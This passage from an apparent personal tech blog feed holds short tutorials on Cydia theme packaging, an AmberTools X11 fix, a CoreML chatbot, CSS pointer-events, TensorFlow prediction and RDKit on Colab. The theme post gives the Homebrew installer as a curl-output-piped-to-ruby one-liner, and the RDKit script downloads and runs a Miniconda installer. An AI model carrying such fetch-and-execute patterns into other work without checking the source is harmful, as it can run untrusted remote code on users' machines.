<td>AppIconMask@2x~iphone.png</td>
<td>120x120</td>
</tr>
<tr>
<td>AppIconMask@3x~ipad.png</td>
<td>180x180</td>
</tr>
<tr>
<td>AppIconMask@3x~iphone.png</td>
<td>180x180</td>
</tr>
<tr>
<td>AppIconMask~ipad.png</td>
<td>76x76</td>
</tr>
<tr>
<td>DocumentBadgeMask-20@2x.png</td>
<td>40x40</td>
</tr>
<tr>
<td>DocumentBadgeMask-145@2x.png</td>
<td>145x145</td>
</tr>
<tr>
<td>GameAppIconMask@2x.png</td>
<td>84x84</td>
</tr>
<tr>
<td>NotificationAppIconMask@2x.png</td>
<td>40x40</td>
</tr>
<tr>
<td>NotificationAppIconMask@3x.png</td>
<td>60x60</td>
</tr>
<tr>
<td>SpotlightAppIconMask@2x.png</td>
<td>80x80</td>
</tr>
<tr>
<td>SpotlightAppIconMask@3x.png</td>
<td>120x120</td>
</tr>
<tr>
<td>TableIconMask@2x.png</td>
<td>58x58</td>
</tr>
<tr>
<td>TableIconOutline@2x.png</td>
<td>58x58</td>
</tr>
</tbody>
</table>
<ul>
<li>While creating the mask, make sure that the background is not a solid colour and is transparent</li>
<li>Whichever area you want to make visible, it should be coloured in black</li>
</ul>
<p>Example (Credits: Pinpal):</p>
<p><img src="https://pinpal.github.io/assets/theme-guide/mask-demo.png" alt="Credit: Pinpal" /></p>
<p>would result in</p>
<p><img src="https://pinpal.github.io/assets/theme-guide/mask-result.png" alt="Credit: Pinpal" /></p>
<h3 id="packaging">Packaging</h3>
<ul>
<li>Create a new folder outside <code>themeName.theme</code> with the name you want to be shown on Cydia, e.g <code>themeNameForCydia</code></li>
<li>Create another folder called <code>DEBIAN</code> in <code>themeNameForCydia</code> (It needs to be uppercase)</li>
<li>In <code>DEBIAN</code> create an extension-less file called <code>control</code> and edit it using your favourite text editor</li>
</ul>
<p>Paste the following in it, replacing <code>yourname</code>, <code>themename</code>, <code>Theme Name</code>, <code>A theme with beautiful icons!</code> and <code>Your Name</code> with your details:</p>
<pre><code>Package: com.yourname.themename
Name: Theme Name
Version: 1.0
Architecture: iphoneos-arm
Description: A theme with beautiful icons!
Author: Your Name
Maintainer: Your Name
Section: Themes
</code></pre>
<ul>
<li><p>Important Notes:</p>
<ul>
<li>The package field <strong>MUST</strong> be lower case!</li>
<li>The version field <strong>MUST</strong> be changed every-time you update your theme!</li>
<li>The control file <strong>MUST</strong> have an extra blank line at the bottom!</li>
</ul></li>
<li><p>Now, Create another folder called <code>Library</code> in <code>themeNameForCydia</code></p></li>
<li>In <code>Library</code> create another folder called <code>Themes</code></li>
<li>Finally, copy <code>themeName.theme</code> to the <code>Themes</code> folder (<strong>Copy the entire folder, not just the contents</strong>)</li>
</ul>
<h3 id="building-the-deb">Building the DEB</h3>
<p><strong>For building the deb you need a <code>*nix</code> system, otherwise you can build it using your iPhones</strong></p>
<h5 id="pre-requisite-for-macos-users">Pre-Requisite for MacOS users</h5>
<p>1) Install Homenbrew <code>/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"</code> (Run this in the terminal)
2) Install dpkg, by running <code>brew install dpkg</code></p>
<p><strong>There is a terrible thing called .DS_Store which if not removed, will cause a problem during either build or installation</strong></p>
<ul>
<li><p>To remove this we first need to open the folder in the terminal</p></li>
<li><p>Launch the Terminal and then drag-and-drop the 'themeNameForCydia' folder on the Terminal icon in the dock</p></li>
<li>Now, run <code>find . -name "*.DS_Store" -type f -delete</code></li>
</ul>
<h5 id="pre-requisite-for-windows-users">Pre-Requisite for Windows Users</h5>
<ul>
<li>SSH into your iPhone and drag and drop the <code>themeNameForCyia</code> folder on the terminal</li>
</ul>
<h5 id="common-instructions">Common Instructions</h5>
<ul>
<li>You should be at the root of the folder in the terminal, i.e Inside <code>themeNameForCydia</code></li>
<li>running <code>ls</code> should show the following output</li>
</ul>
<pre><code>DEBIAN Library
</code></pre>
<ul>
<li>Now, in the terminal enter the following <code>cd .. && dpkg -b themeNameForCydia</code></li>
</ul>
<p><strong>Now you will have the <code>themeNameForCydia.deb</code> in the same directory</strong></p>
<p>You can share this with your friends :+1:</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2020-04-13-Fixing-X11-Error-AmberTools-macOS.html
</guid>
<title>
Fixing X11 Error on macOS Catalina for AmberTools 18/19
</title>
<description>
Fixing Could not find the X11 libraries; you may need to edit config.h, AmberTools macOS Catalina
</description>
<link>https://web.navan.dev/posts/2020-04-13-Fixing-X11-Error-AmberTools-macOS.html</link>
<pubDate>Mon, 13 Apr 2020 11:41:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="fixing-x11-error-on-macos-catalina-for-ambertools-1819">Fixing X11 Error on macOS Catalina for AmberTools 18/19</h1>
<p>I was trying to install AmberTools on my macOS Catalina Installation. Running <code>./configure -macAccelerate clang</code> gave me an error that it could not find X11 libraries, even though <code>locate libXt</code> showed that my installation was correct.</p>
<p>Error:</p>
<pre><code>Could not find the X11 libraries; you may need to edit config.h
to set the XHOME and XLIBS variables.
Error: The X11 libraries are not in the usual location !
To search for them try the command: locate libXt
On new Fedora OS's install the libXt-devel libXext-devel
libX11-devel libICE-devel libSM-devel packages.
On old Fedora OS's install the xorg-x11-devel package.
On RedHat OS's install the XFree86-devel package.
On Ubuntu OS's install the xorg-dev and xserver-xorg packages.
...more info for various linuxes at ambermd.org/ubuntu.html
To build Amber without XLEaP, re-run configure with '-noX11:
./configure -noX11 --with-python /usr/local/bin/python3 -macAccelerate clang
Configure failed due to the errors above!
</code></pre>
<p>I searched on Google for a solution. Sadly, there was not even a single thread which had a solution about this error.</p>
<h2 id="the-fix">The Fix</h2>
<p>Simply reinstalling XQuartz using homebrew fixed the error <code>brew cask reinstall xquartz</code></p>
<p>If you do not have XQuartz installed, you need to run <code>brew cask install xquartz</code></p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2021-06-27-Crude-ML-AI-Powered-Chatbot-Swift.html
</guid>
<title>
Making a Crude ML Powered Chatbot in Swift using CoreML
</title>
<description>
Writing a simple Machine-Learning powered Chatbot (or, daresay virtual personal assistant ) in Swift using CoreML.
</description>
<link>https://web.navan.dev/posts/2021-06-27-Crude-ML-AI-Powered-Chatbot-Swift.html</link>
<pubDate>Sun, 27 Jun 2021 23:26:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="making-a-crude-ml-powered-chatbot-in-swift-using-coreml">Making a Crude ML Powered Chatbot in Swift using CoreML</h1>
<p>A chatbot/virtual assistant, on paper, looks easy to build.
The user says something, the programs finds the best action, checks if additional input is required and sends back the output.
To do this in Swift, I used two separate ML Models created using Apple's Create ML App.
First is a Text Classifier to classify intent, and the other a word tagger for extracting input from the input message.
Disclaimer: This is a very crude proof-of-concept, but it does work.</p>
<h2 id="text-classifier">Text Classifier</h2>
<p>I opened a CSV file and added some sample entries, with a corresponding label.</p>
<p><img src="/assets/posts/swift-chatbot/intent-csv.png" alt="Screenshot of Sample Dataset" /></p>
<pre><code>text,label
hey there,greetings
hello,greetings
good morning,greetings
good evening,greetings
hi,greetings
open the pod bay doors,banter
who let the dogs out,banter
ahh that's hot,banter
bruh that's rad,banter
nothing,banter
da fuq,banter
can you tell me details about the compound aspirin,deez-drug
i want to know about some compounds,deez-drug
search about the compound,deez-drug
tell me about the molecule,deez-drug
tell me about something,banter
tell me something cool,banter
tell a joke,banter
make me a sandwich,banter
whatcha doing,greetings
i love you,banter
</code></pre>
<p><img src="/assets/posts/swift-chatbot/create-intent.png" alt="Screenshot of Create ML Text Classifier" /></p>
<h2 id="word-tagging">Word Tagging</h2>
<p>This is useful to extract the required variables directly from the user's input.
This model will be only called if the intent from the classifier is a custom action.
I created a sample JSON with only 3 examples (I know, very less, but works for a crude PoC).</p>
<p><img src="/assets/posts/swift-chatbot/drugs-json.png" alt="Screenshot of Sample Dataset" /></p>
<div class="codehilite">
<pre><span></span><code><span class="p">[</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nt">"tokens"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"Tell"</span><span class="p">,</span><span class="s2">"me"</span><span class="p">,</span><span class="s2">"about"</span><span class="p">,</span><span class="s2">"the"</span><span class="p">,</span><span class="s2">"drug"</span><span class="p">,</span><span class="s2">"Aspirin"</span><span class="p">,</span><span class="s2">"."</span><span class="p">],</span>
<span class="w"> </span><span class="nt">"labels"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"COMPOUND"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">]</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nt">"tokens"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"Please"</span><span class="p">,</span><span class="s2">"tell"</span><span class="p">,</span><span class="s2">"me"</span><span class="p">,</span><span class="s2">"information"</span><span class="p">,</span><span class="s2">"about"</span><span class="p">,</span><span class="s2">"the"</span><span class="p">,</span><span class="s2">"compound"</span><span class="p">,</span><span class="s2">"salicylic"</span><span class="p">,</span><span class="s2">"acid"</span><span class="p">,</span><span class="s2">"."</span><span class="p">],</span>
<span class="w"> </span><span class="nt">"labels"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"COMPOUND"</span><span class="p">,</span><span class="s2">"COMPOUND"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">]</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nt">"tokens"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"Information"</span><span class="p">,</span><span class="s2">"about"</span><span class="p">,</span><span class="s2">"the"</span><span class="p">,</span><span class="s2">"compound"</span><span class="p">,</span><span class="s2">"Ibuprofen"</span><span class="p">,</span><span class="s2">"please"</span><span class="p">,</span><span class="s2">"."</span><span class="p">],</span>
<span class="w"> </span><span class="nt">"labels"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"COMPOUND"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">,</span><span class="s2">"NONE"</span><span class="p">]</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">]</span>
</code></pre>
</div>
<p><img src="/assets/posts/swift-chatbot/create-tagger.png" alt="Screenshot of Create ML Text Classifier" /></p>
<h2 id="time-to-get-swift-y">Time to Get Swift-y</h2>
<p>The initial part is easy, importing CoreML and NaturalLanguage and then initializing the models and the tagger.</p>
<p><img src="/assets/posts/swift-chatbot/carbon.png" alt="Screenshot" /></p>
<div class="codehilite">
<pre><span></span><code><span class="kd">import</span> <span class="nc">CoreML</span>
<span class="kd">import</span> <span class="nc">NaturalLanguage</span>
<span class="kd">let</span> <span class="nv">mlModelClassifier</span> <span class="p">=</span> <span class="k">try</span> <span class="n">IntentDetection_1</span><span class="p">(</span><span class="n">configuration</span><span class="p">:</span> <span class="bp">MLModelConfiguration</span><span class="p">()).</span><span class="n">model</span>
<span class="kd">let</span> <span class="nv">mlModelTagger</span> <span class="p">=</span> <span class="k">try</span> <span class="n">CompoundTagger</span><span class="p">(</span><span class="n">configuration</span><span class="p">:</span> <span class="bp">MLModelConfiguration</span><span class="p">()).</span><span class="n">model</span>
<span class="kd">let</span> <span class="nv">intentPredictor</span> <span class="p">=</span> <span class="k">try</span> <span class="bp">NLModel</span><span class="p">(</span><span class="n">mlModel</span><span class="p">:</span> <span class="n">mlModelClassifier</span><span class="p">)</span>
<span class="kd">let</span> <span class="nv">tagPredictor</span> <span class="p">=</span> <span class="k">try</span> <span class="bp">NLModel</span><span class="p">(</span><span class="n">mlModel</span><span class="p">:</span> <span class="n">mlModelTagger</span><span class="p">)</span>
<span class="kd">let</span> <span class="nv">tagger</span> <span class="p">=</span> <span class="bp">NLTagger</span><span class="p">(</span><span class="n">tagSchemes</span><span class="p">:</span> <span class="p">[.</span><span class="n">nameType</span><span class="p">,</span> <span class="n">NLTagScheme</span><span class="p">(</span><span class="s">"Apple"</span><span class="p">)])</span>
<span class="n">tagger</span><span class="p">.</span><span class="n">setModels</span><span class="p">([</span><span class="n">tagPredictor</span><span class="p">],</span> <span class="n">forTagScheme</span><span class="p">:</span> <span class="n">NLTagScheme</span><span class="p">(</span><span class="s">"Apple"</span><span class="p">))</span>
</code></pre>
</div>
<p>Now, we define a simple structure which the custom function(s) can use to access the provided input.
It can also be used to hold additional variables.
This custom action for our third label, uses the Word Tagger model to check for the compound in the user's message.
If it is present then it displays the name, otherwise it tells the user that they have not provided the input.
The latter can be replaced with a function which asks the user for the input. </p>
<p><img src="/assets/posts/swift-chatbot/carbon-2.png" alt="Screenshot" /></p>
<div class="codehilite">
<pre><span></span><code><span class="kd">struct</span> <span class="nc">User</span> <span class="p">{</span>
<span class="kd">static</span> <span class="kd">var</span> <span class="nv">message</span> <span class="p">=</span> <span class="s">""</span>
<span class="p">}</span>
<span class="kd">func</span> <span class="nf">customAction</span><span class="p">()</span> <span class="p">-></span> <span class="nb">String</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nv">sampleMessage</span> <span class="p">=</span> <span class="n">User</span><span class="p">.</span><span class="n">message</span>
<span class="kd">var</span> <span class="nv">actionable_item</span> <span class="p">=</span> <span class="s">""</span>
<span class="n">tagger</span><span class="p">.</span><span class="n">string</span> <span class="p">=</span> <span class="n">sampleMessage</span>
<span class="n">tagger</span><span class="p">.</span><span class="n">enumerateTags</span><span class="p">(</span><span class="k">in</span><span class="p">:</span> <span class="n">sampleMessage</span><span class="p">.</span><span class="n">startIndex</span><span class="p">..<</span><span class="n">sampleMessage</span><span class="p">.</span><span class="n">endIndex</span><span class="p">,</span> <span class="n">unit</span><span class="p">:</span> <span class="p">.</span><span class="n">word</span><span class="p">,</span>
<span class="n">scheme</span><span class="p">:</span> <span class="n">NLTagScheme</span><span class="p">(</span><span class="s">"Apple"</span><span class="p">),</span> <span class="n">options</span><span class="p">:</span> <span class="p">.</span><span class="n">omitWhitespace</span><span class="p">)</span> <span class="p">{</span> <span class="n">tag</span><span class="p">,</span> <span class="n">tokenRange</span> <span class="k">in</span>
<span class="k">if</span> <span class="kd">let</span> <span class="nv">tag</span> <span class="p">=</span> <span class="n">tag</span> <span class="p">{</span>
<span class="k">if</span> <span class="n">tag</span><span class="p">.</span><span class="n">rawValue</span> <span class="p">==</span> <span class="s">"COMPOUND"</span> <span class="p">{</span>
<span class="n">actionable_item</span> <span class="o">+=</span> <span class="n">sampleMessage</span><span class="p">[</span><span class="n">tokenRange</span><span class="p">]</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="kc">true</span>
<span class="p">}</span>
<span class="k">if</span> <span class="n">actionable_item</span> <span class="p">==</span> <span class="s">""</span> <span class="p">{</span>
<span class="k">return</span> <span class="s">"You did not provide any input"</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">return</span> <span class="s">"You provided input </span><span class="si">\(</span><span class="n">actionable_item</span><span class="si">)</span><span class="s"> for performing custom action"</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre>
</div>
<p>Sometimes, no action needs to be performed, and the bot can use a predefined set of responses.
Otherwise, if an action is required, it can call the custom action.</p>
<p><img src="/assets/posts/swift-chatbot/carbon-3.png" alt="Screenshot" /></p>
<div class="codehilite">
<pre><span></span><code><span class="kd">let</span> <span class="nv">defaultResponses</span> <span class="p">=</span> <span class="p">[</span>
<span class="s">"greetings"</span><span class="p">:</span> <span class="s">"Hello"</span><span class="p">,</span>
<span class="s">"banter"</span><span class="p">:</span> <span class="s">"no, plix no"</span>
<span class="p">]</span>
<span class="kd">let</span> <span class="nv">customActions</span> <span class="p">=</span> <span class="p">[</span>
<span class="s">"deez-drug"</span><span class="p">:</span> <span class="n">customAction</span>
<span class="p">]</span>
</code></pre>
</div>
<p>In the sample input, the program is updating the User.message and checking if it has a default response.
Otherwise, it calls the custom action.</p>
<p><img src="/assets/posts/swift-chatbot/carbon-4.png" alt="Screenshot" /></p>
<div class="codehilite">
<pre><span></span><code><span class="kd">let</span> <span class="nv">sampleMessages</span> <span class="p">=</span> <span class="p">[</span>
<span class="s">"Hey there, how is it going"</span><span class="p">,</span>
<span class="s">"hello, there"</span><span class="p">,</span>
<span class="s">"Who let the dogs out"</span><span class="p">,</span>
<span class="s">"can you tell me about the compound Geraniin"</span><span class="p">,</span>
<span class="s">"what do you know about the compound Ibuprofen"</span><span class="p">,</span>
<span class="s">"please, tell me more about the compound"</span><span class="p">,</span>
<span class="s">"please, tell me more about the molecule dihydrogen-monoxide"</span>
<span class="p">]</span>
<span class="k">for</span> <span class="n">sampleMessage</span> <span class="k">in</span> <span class="n">sampleMessages</span> <span class="p">{</span>
<span class="n">User</span><span class="p">.</span><span class="n">message</span> <span class="p">=</span> <span class="n">sampleMessage</span>
<span class="kd">let</span> <span class="nv">prediction</span> <span class="p">=</span> <span class="n">intentPredictor</span><span class="p">.</span><span class="n">predictedLabel</span><span class="p">(</span><span class="k">for</span><span class="p">:</span> <span class="n">sampleMessage</span><span class="p">)</span>
<span class="k">if</span> <span class="p">(</span><span class="n">defaultResponses</span><span class="p">[</span><span class="n">prediction</span><span class="p">!]</span> <span class="o">!=</span> <span class="kc">nil</span><span class="p">)</span> <span class="p">{</span>
<span class="bp">print</span><span class="p">(</span><span class="n">defaultResponses</span><span class="p">[</span><span class="n">prediction</span><span class="p">!]</span><span class="o">!</span><span class="p">)</span>
<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">customActions</span><span class="p">[</span><span class="n">prediction</span><span class="p">!]</span> <span class="o">!=</span> <span class="kc">nil</span><span class="p">)</span> <span class="p">{</span>
<span class="bp">print</span><span class="p">(</span><span class="n">customActions</span><span class="p">[</span><span class="n">prediction</span><span class="p">!]</span><span class="o">!</span><span class="p">())</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre>
</div>
<p><img src="/assets/posts/swift-chatbot/output.png" alt="Output" /></p>
<p>So easy.</p>
<p>If I ever release a part-2, it will either be about implementing this in Tensorflow.JS or an iOS app using SwiftUI ;)</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2024-02-26-control-element-under-another-element-html-css.html
</guid>
<title>
Interacting with underlying element in HTML
</title>
<description>
With CSS you can disable any interactions with an element and directly control the underlying element
</description>
<link>https://web.navan.dev/posts/2024-02-26-control-element-under-another-element-html-css.html</link>
<pubDate>Mon, 26 Feb 2024 11:57:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="interacting-with-underlying-element-in-html">Interacting with underlying element in HTML</h1>
<p>I know that the title is a bit weird. I was trying to interact with a video under an iPhone Bezel Screen frame.</p>
<div class="codehilite">
<pre><span></span><code><span class="p"><</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">"row-span-2 md:col-span-1 rounded-xl border-2 border-slate-400/10 bg-neutral-100 p-4 dark:bg-neutral-900"</span><span class="p">></span>
<span class="p"><</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">"content flex flex-wrap content-center justify-center"</span><span class="p">></span>
<span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"iphone-12-white.png"</span> <span class="na">class</span><span class="o">=</span><span class="s">"h-[60vh] z-10 absolute"</span><span class="p">></span>
<span class="cm"><!--<img src="screenshot2.jpeg" class="h-[57vh] mt-4 mr-1 rounded-[2rem]">--></span>
<span class="p"><</span><span class="nt">video</span> <span class="na">src</span><span class="o">=</span><span class="s">"screenrec.mp4"</span> <span class="na">class</span><span class="o">=</span><span class="s">"h-[57vh] mt-4 mr-1 rounded-[2rem]"</span> <span class="na">controls</span> <span class="na">muted</span> <span class="na">autoplay</span><span class="p">></</span><span class="nt">video</span><span class="p">></span>
<span class="p"></</span><span class="nt">div</span><span class="p">></span>
<span class="p"></</span><span class="nt">div</span><span class="p">></span>
</code></pre>
</div>
<p><img src="/assets/underlying/video-under-element.jpg" alt="Video Under a Transparent Image" /></p>
<p>Turns out, you can disable pointer events!</p>
<p>In Tailwind, it is as simple as adding <code>pointer-events-none</code> to the bezel screen.</p>
<p>In CSS, this can be done by:</p>
<div class="codehilite">
<pre><span></span><code><span class="p">.</span><span class="nc">className</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">pointer-events</span><span class="p">:</span><span class="w"> </span><span class="kc">none</span>
<span class="p">}</span>
</code></pre>
</div>
<p>Let us try this in a simple example.</p>
<h2 id="example">Example</h2>
<p>Here, we create a button and overlay a transparent box</p>
<div class="codehilite">
<pre><span></span><code><span class="p"><</span><span class="nt">div</span> <span class="na">style</span><span class="o">=</span><span class="s">"height: 200px; width: 300px; background-color: rgba(255, 0, 0, 0.4); z-index: 2; position: absolute;"</span><span class="p">></span>
A box with 200px height and 200px width
<span class="p"></</span><span class="nt">div</span><span class="p">></span>
<span class="p"><</span><span class="nt">button</span> <span class="na">style</span><span class="o">=</span><span class="s">"z-index: 1; margin-top: 20px; margin-bottom: 200px;"</span> <span class="na">onclick</span><span class="o">=</span><span class="s">"alert('You were able to click this button')"</span><span class="p">></span>Try clicking me<span class="p"></</span><span class="nt">button</span><span class="p">></span>
</code></pre>
</div>
<hr>
<div style="height: 200px; width: 300px; background-color: rgba(255, 0, 0, 0.4); z-index: 2; position: absolute;">
A box with 200px height and 300px width
</div>
<p><button style="z-index: 1; margin-top: 20px; margin-bottom: 200px;" onclick="alert('You were able to click this button')">Try clicking me</button>
<hr></p>
<p>As you can see, you cannot click the button because the red box comes in the way. We can fix this by adding <code>pointer-events: none</code> to the box. </p>
<div class="codehilite">
<pre><span></span><code><span class="p"><</span><span class="nt">div</span> <span class="na">style</span><span class="o">=</span><span class="s">"height: 200px; width: 300px; background-color: rgba(0, 255, 0, 0.4); z-index: 2; position: absolute; pointer-events: none;"</span><span class="p">></span>
A box with 200px height and 300px width
<span class="p"></</span><span class="nt">div</span><span class="p">></span>
<span class="p"><</span><span class="nt">button</span> <span class="na">style</span><span class="o">=</span><span class="s">"z-index: 1; margin-top: 20px; margin-bottom: 200px"</span> <span class="na">onclick</span><span class="o">=</span><span class="s">"alert('You were able to click this button')"</span><span class="p">></span>Try clicking me<span class="p"></</span><span class="nt">button</span><span class="p">></span>
<span class="p"></</span><span class="nt">div</span><span class="p">></span>
</code></pre>
</div>
<hr>
<div style="height: 200px; width: 300px; background-color: rgba(0, 255, 0, 0.4); z-index: 2; position: absolute; pointer-events: none;">
A box with 200px height and 300px width
</div>
<p><button style="z-index: 1; margin-top: 20px; margin-bottom: 200px" onclick="alert('You were able to click this button')">Try clicking me</button>
</div></p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2019-12-10-TensorFlow-Model-Prediction.html
</guid>
<title>
Making Predictions using Image Classifier (TensorFlow)
</title>
<description>
Making predictions for image classification models built using TensorFlow
</description>
<link>https://web.navan.dev/posts/2019-12-10-TensorFlow-Model-Prediction.html</link>
<pubDate>Tue, 10 Dec 2019 11:10:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="making-predictions-using-image-classifier-tensorflow">Making Predictions using Image Classifier (TensorFlow)</h1>
<p><em>This was tested on TF 2.x and works as of 2019-12-10</em></p>
<p>If you want to understand how to make your own custom image classifier, please refer to my previous post.</p>
<p>If you followed my last post, then you created a model which took an image of dimensions 50x50 as an input.</p>
<p>First we import the following if we have not imported these before</p>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">cv2</span>
<span class="kn">import</span> <span class="nn">os</span>
</code></pre>
</div>
<p>Then we read the file using OpenCV.</p>
<div class="codehilite">
<pre><span></span><code><span class="n">image</span><span class="o">=</span><span class="n">cv2</span><span class="o">.</span><span class="n">imread</span><span class="p">(</span><span class="n">imagePath</span><span class="p">)</span>
</code></pre>
</div>
<p>The cv2. imread() function returns a NumPy array representing the image. Therefore, we need to convert it before we can use it.</p>
<div class="codehilite">
<pre><span></span><code><span class="n">image_from_array</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">fromarray</span><span class="p">(</span><span class="n">image</span><span class="p">,</span> <span class="s1">'RGB'</span><span class="p">)</span>
</code></pre>
</div>
<p>Then we resize the image</p>
<div class="codehilite">
<pre><span></span><code><span class="n">size_image</span> <span class="o">=</span> <span class="n">image_from_array</span><span class="o">.</span><span class="n">resize</span><span class="p">((</span><span class="mi">50</span><span class="p">,</span><span class="mi">50</span><span class="p">))</span>
</code></pre>
</div>
<p>After this we create a batch consisting of only one image</p>
<div class="codehilite">
<pre><span></span><code><span class="n">p</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">expand_dims</span><span class="p">(</span><span class="n">size_image</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
</code></pre>
</div>
<p>We then convert this uint8 datatype to a float32 datatype</p>
<div class="codehilite">
<pre><span></span><code><span class="n">img</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">cast</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span>
</code></pre>
</div>
<p>Finally we make the prediction</p>
<div class="codehilite">
<pre><span></span><code><span class="nb">print</span><span class="p">([</span><span class="s1">'Infected'</span><span class="p">,</span><span class="s1">'Uninfected'</span><span class="p">][</span><span class="n">np</span><span class="o">.</span><span class="n">argmax</span><span class="p">(</span><span class="n">model</span><span class="o">.</span><span class="n">predict</span><span class="p">(</span><span class="n">img</span><span class="p">))])</span>
</code></pre>
</div>
<p><code>Infected</code></p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2020-07-01-Install-rdkit-colab.html
</guid>
<title>
Installing RDKit on Google Colab
</title>
<description>
Install RDKit on Google Colab with one code snippet.
</description>
<link>https://web.navan.dev/posts/2020-07-01-Install-rdkit-colab.html</link>
<pubDate>Wed, 01 Jul 2020 14:23:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="installing-rdkit-on-google-colab">Installing RDKit on Google Colab</h1>
<p><strong>EDIT:</strong> Try installing RDKit using pip</p>
<pre><code>!pip install rdkit-pypi
</code></pre>
<h2 id="old-method-still-works">Old Method (Still Works)</h2>
<p>RDKit is one of the most integral part of any Cheminfomatic specialist's toolkit but it is notoriously difficult to install unless you already have <code>conda</code> installed. I originally found this in a GitHub Gist but I have not been able to find that gist again :/ </p>
<p>Just copy and paste this in a Colab cell and it will install it 👍</p>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="kn">import</span> <span class="nn">shutil</span>
<span class="kn">from</span> <span class="nn">logging</span> <span class="kn">import</span> <span class="n">getLogger</span><span class="p">,</span> <span class="n">StreamHandler</span><span class="p">,</span> <span class="n">INFO</span>
<span class="n">logger</span> <span class="o">=</span> <span class="n">getLogger</span><span class="p">(</span><span class="vm">__name__</span><span class="p">)</span>
<span class="n">logger</span><span class="o">.</span><span class="n">addHandler</span><span class="p">(</span><span class="n">StreamHandler</span><span class="p">())</span>
<span class="n">logger</span><span class="o">.</span><span class="n">setLevel</span><span class="p">(</span><span class="n">INFO</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">install</span><span class="p">(</span>
<span class="n">chunk_size</span><span class="o">=</span><span class="mi">4096</span><span class="p">,</span>
<span class="n">file_name</span><span class="o">=</span><span class="s2">"Miniconda3-latest-Linux-x86_64.sh"</span><span class="p">,</span>
<span class="n">url_base</span><span class="o">=</span><span class="s2">"https://repo.continuum.io/miniconda/"</span><span class="p">,</span>
<span class="n">conda_path</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">expanduser</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="s2">"~"</span><span class="p">,</span> <span class="s2">"miniconda"</span><span class="p">)),</span>
<span class="n">rdkit_version</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span>
<span class="n">add_python_path</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span>
<span class="n">force</span><span class="o">=</span><span class="kc">False</span><span class="p">):</span>
<span class="s2">"""install rdkit from miniconda</span>
<span class="s2"> </span>
</code></pre>
</div>
<pre><code>import rdkit_installer
rdkit_installer.install()
```
"""
python_path = os.path.join(
conda_path,
"lib",
"python{0}.{1}".format(*sys.version_info),
"site-packages",
)
if add_python_path and python_path not in sys.path:
logger.info("add {} to PYTHONPATH".format(python_path))
sys.path.append(python_path)
if os.path.isdir(os.path.join(python_path, "rdkit")):
logger.info("rdkit is already installed")
if not force:
return
logger.info("force re-install")
url = url_base + file_name
python_version = "{0}.{1}.{2}".format(*sys.version_info)
logger.info("python version: {}".format(python_version))
